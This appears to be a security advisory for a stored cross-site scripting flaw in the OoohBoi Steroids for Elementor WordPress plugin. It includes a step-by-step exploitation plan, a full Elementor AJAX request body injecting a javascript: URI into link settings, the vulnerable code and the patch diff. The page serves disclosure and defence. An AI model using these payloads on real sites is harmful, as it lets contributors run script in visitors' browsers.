OoohBoi Steroids for Elementor <= 2.1.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple URL Controls
Description
The OoohBoi Steroids for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the _ob_spacerat_link, _ob_bbad_link, and _ob_teleporter_link URL parameters in all versions up to, and including, 2.1.24. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user clicks on the injected element.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.24What Changed in the Fix
Changes introduced in v2.1.25
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3034 ## 1. Vulnerability Summary The **OoohBoi Steroids for Elementor** plugin (up to version 2.1.24) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin allows users with Contributor-level access and above to de…
Show full research plan
Exploitation Research Plan: CVE-2026-3034
1. Vulnerability Summary
The OoohBoi Steroids for Elementor plugin (up to version 2.1.24) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin allows users with Contributor-level access and above to define custom link URLs for specific Elementor elements (Sections, Columns, and Spacers) without sufficient sanitization or validation. These URLs are stored in the post's metadata and subsequently rendered in the frontend within a data-settings JSON attribute. The plugin's JavaScript then parses this JSON and directly assigns the URL to location.href or window.open() during a click event, allowing for the execution of javascript: URIs.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
elementor_ajax(standard Elementor saving mechanism) - Vulnerable Parameters:
_ob_spacerat_link[url](for Spacer widgets)_ob_bbad_link[url](for Columns)_ob_teleporter_link[url](for Columns/Sections)
- Authentication: Authenticated, Contributor-level access or higher (any role allowed to use the Elementor editor).
- Preconditions:
- Elementor plugin must be active.
- The victim must click on the injected element in the frontend.
3. Code Flow
- Storage (PHP): When a user saves an Elementor page, the settings for each widget/element are saved as a JSON-encoded string in the
_elementor_datapost meta. The plugin fails to sanitize the URL values within these custom "Steroids" controls. - Rendering (PHP/Frontend): When the page is viewed, Elementor renders elements with a
data-settingsattribute containing the configuration JSON. - Execution (JS -
assets/js/spacerat.js):ModuleHandlerforSpaceRatis initialized.runRoutine()is called.- It parses settings:
spacerat_settings = JSON.parse( this.$element.attr( 'data-settings' ) ); - It retrieves the link:
var spacerat_link = spacerat_settings._ob_spacerat_link; - It attaches a click listener:
this.$element.on( 'click.obSpacerat', function() { ... } ); - The Sink: Inside the listener, it executes:
location.href = spacerat_link.url;(if not external) orwindow.open( spacerat_link.url );(if external).
- Execution (JS -
assets/js/ooohboi-steroids.js):- Similar flow in
initColumnExtendsfor_ob_bbad_link: this.$element.on( 'click.bb', function() { location.href = bb_link.url; } );
- Similar flow in
4. Nonce Acquisition Strategy
Since the vulnerability is exploited by saving data through the Elementor editor, the standard Elementor AJAX nonce is required.
- Step 1: Use
wp post createto create a page and set its template to Elementor. - Step 2: Navigate to the Elementor editor for that post:
/wp-admin/post.php?post=POST_ID&action=elementor. - Step 3: Use
browser_evalto extract the nonce from theelementorCommonConfigobject.- JavaScript Variable:
window.elementorCommonConfig.ajax.nonce
- JavaScript Variable:
- Step 4: Use this nonce in the
elementor_ajaxPOST request.
5. Exploitation Strategy
Step 1: Create a target post
Create a page that can be edited with Elementor.
wp post create --post_type=page --post_title="XSS Test" --post_status=publish --post_author=CONTRIBUTOR_ID
Step 2: Inject Payload via Elementor AJAX
Send an HTTP POST request to admin-ajax.php simulating an Elementor save operation. This injects the javascript: payload into the _ob_spacerat_link control.
- URL:
http://TARGET/wp-admin/admin-ajax.php?action=elementor_ajax - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:elementor_ajax_nonce:[EXTRACTED_NONCE]actions: A JSON string containing thesave_builderaction:
{
"save_builder": {
"action": "save_builder",
"data": {
"status": "publish",
"elements": [
{
"id": "e1",
"elType": "widget",
"widgetType": "spacer",
"settings": {
"_ob_spacerat_use": "yes",
"_ob_spacerat_link": {
"url": "javascript:alert(window.origin)",
"is_external": ""
}
},
"elements": []
}
]
}
}
}
Step 3: Trigger XSS
- Navigate to the permalink of the created page.
- Find the element with the class
ob-spacerat(the Spacer widget). - Click the element.
- The browser will execute
location.href = "javascript:alert(window.origin)".
6. Test Data Setup
- User: A user with the
contributorrole. - Plugin:
ooohboi-steroids-for-elementorinstalled and active. - Dependency:
elementorinstalled and active. - Post Metadata: The post must have
_elementor_edit_modeset tobuilderto ensure the frontend loads Elementor assets.
7. Expected Results
- The
elementor_ajaxrequest should return a200 OKwith a JSON body indicating success. - Viewing the page source of the created post should show a
divelement representing the spacer widget with adata-settingsattribute:data-settings='{"_ob_spacerat_use":"yes","_ob_spacerat_link":{"url":"javascript:alert(window.origin)","is_external":""},...}' - Clicking the spacer widget triggers a JavaScript alert box.
8. Verification Steps
- Verify Storage: Use WP-CLI to inspect the post meta:
Check if the output contains the payload stringwp post meta get [POST_ID] _elementor_data"url":"javascript:alert(window.origin)". - Verify Execution: In the browser, navigate to the post and check if the
ob-spaceratclass is present on any element and if the click handler is attached.
9. Alternative Approaches
If the spacer widget is not available or restricted, target the Column element using the _ob_bbad_link parameter.
- Element JSON modification:
{
"id": "c1",
"elType": "column",
"settings": {
"_ob_bbad_link": {
"url": "javascript:console.log('XSS_SUCCESS')",
"is_external": ""
}
},
"elements": []
}
This follows the same code path in assets/js/ooohboi-steroids.js within the ColumnExtends.initColumnExtends function.
Summary
The OoohBoi Steroids for Elementor plugin allows authenticated attackers with Contributor-level access or higher to perform Stored Cross-Site Scripting (XSS) by injecting 'javascript:' URIs into custom link parameters. When a site visitor clicks on the modified Elementor element (Spacer, Column, or Section), the malicious script executes in their browser via JavaScript's location.href or window.open().
Vulnerable Code
// assets/js/spacerat.js - lines 48 to 55 if( undefined !== spacerat_settings._ob_spacerat_link ) { var spacerat_link = spacerat_settings._ob_spacerat_link; if( '' === spacerat_link.url ) return; this.$element.off( 'click.obSpacerat' ); this.$element.on( 'click.obSpacerat', function() { if( spacerat_link.is_external ) window.open( spacerat_link.url ); else location.href = spacerat_link.url; } ); } --- // assets/js/ooohboi-steroids.js - lines 136 to 143 if( undefined !== bb_settings._ob_bbad_link ) { var bb_link = bb_settings._ob_bbad_link; if( '' === bb_link.url ) { this.$element.removeClass( 'bb-column-link' ); return; } else { this.$element.addClass( 'bb-column-link' ); } this.$element.off( 'click.bb' ); this.$element.on( 'click.bb', function() { if( bb_link.is_external ) window.open( bb_link.url ); else location.href = bb_link.url; } ); }
Security Fix
@@ -112,6 +112,21 @@ }, initColumnExtends: function() { /* breaking bad */ + + function getSafeUrl(url) { + try { + var parsed = new URL(url, window.location.origin); + var allowedProtocols = ['http:', 'https:', 'mailto:', 'tel:']; + + if (!allowedProtocols.includes(parsed.protocol)) { + return false; + } + + return parsed.href; + } catch (e) { + return false; + } + } if( ! this.isEdit ) { var bb_settings = {}; try { @@ -123,19 +138,30 @@ if( undefined !== bb_settings._ob_bbad_link ) { var bb_link = bb_settings._ob_bbad_link; - - if( '' === bb_link.url ) { + if( ! bb_link.url || bb_link.url === '' ) { this.$element.removeClass( 'bb-column-link' ); return; - } else { - this.$element.addClass( 'bb-column-link' ); } + // Validate URL before using + var safeUrl = getSafeUrl( bb_link.url ); + + if ( ! safeUrl ) { + this.$element.removeClass( 'bb-column-link' ); + return; + } + + this.$element.addClass( 'bb-column-link' ); this.$element.off( 'click.bb' ); + this.$element.on( 'click.bb', function() { - if( bb_link.is_external ) window.open( bb_link.url ); - else location.href = bb_link.url; + if( bb_link.is_external ) { + window.open( safeUrl, '_blank', 'noopener,noreferrer' ); + } else { + window.location.href = safeUrl; + } } ); - } } /* Teleporter */ @@ -289,17 +315,42 @@ if( 'no-mobile' === teleporter_settings._ob_teleporter_no_pass_mobile ) this.$element.addClass( 'ob-tele-no-mobile' ); + function getSafeUrl(url) { + try { + var parsed = new URL(url, window.location.origin); + var allowedProtocols = ['http:', 'https:', 'mailto:', 'tel:']; + + if (!allowedProtocols.includes(parsed.protocol)) { + return false; + } + + return parsed.href; + } catch (e) { + return false; + } + } // handle links if( undefined !== teleporter_settings._ob_teleporter_link ) { var tele_link = teleporter_settings._ob_teleporter_link; - if( '' === tele_link.url ) return; + if( ! tele_link.url || tele_link.url === '' ) { + return; + } + + var safeUrl = getSafeUrl( tele_link.url ); + + if ( ! safeUrl ) { + return; + } this.$element.off( 'click.obTeleporter' ); this.$element.on( 'click.obTeleporter', function() { - if( tele_link.is_external ) window.open( tele_link.url ); - else location.href = tele_link.url; - } ); + if( tele_link.is_external ) { + window.open( safeUrl, '_blank', 'noopener,noreferrer' ); + } else { + window.location.href = safeUrl; + } + }); }
Exploit Outline
The exploit is performed by an authenticated user with Contributor-level permissions or higher who can edit Elementor content. 1. The attacker creates or edits a post using Elementor. 2. The attacker captures the Elementor AJAX nonce from the editor interface (located in the `window.elementorCommonConfig.ajax.nonce` global object). 3. The attacker sends a POST request to `/wp-admin/admin-ajax.php?action=elementor_ajax` with the `save_builder` action. 4. In the `elements` data structure of the request, the attacker injects a payload into the `url` property of an affected control (such as `_ob_spacerat_link`, `_ob_bbad_link`, or `_ob_teleporter_link`). The payload is a JavaScript URI: `javascript:alert(window.origin)`. 5. Once saved, the plugin stores this payload in the post metadata. 6. When any user views the published page and clicks on the modified element, the plugin's frontend JavaScript (e.g., `spacerat.js`) retrieves the unsanitized URL from the element's `data-settings` attribute and assigns it directly to `location.href` or `window.open()`, resulting in code execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.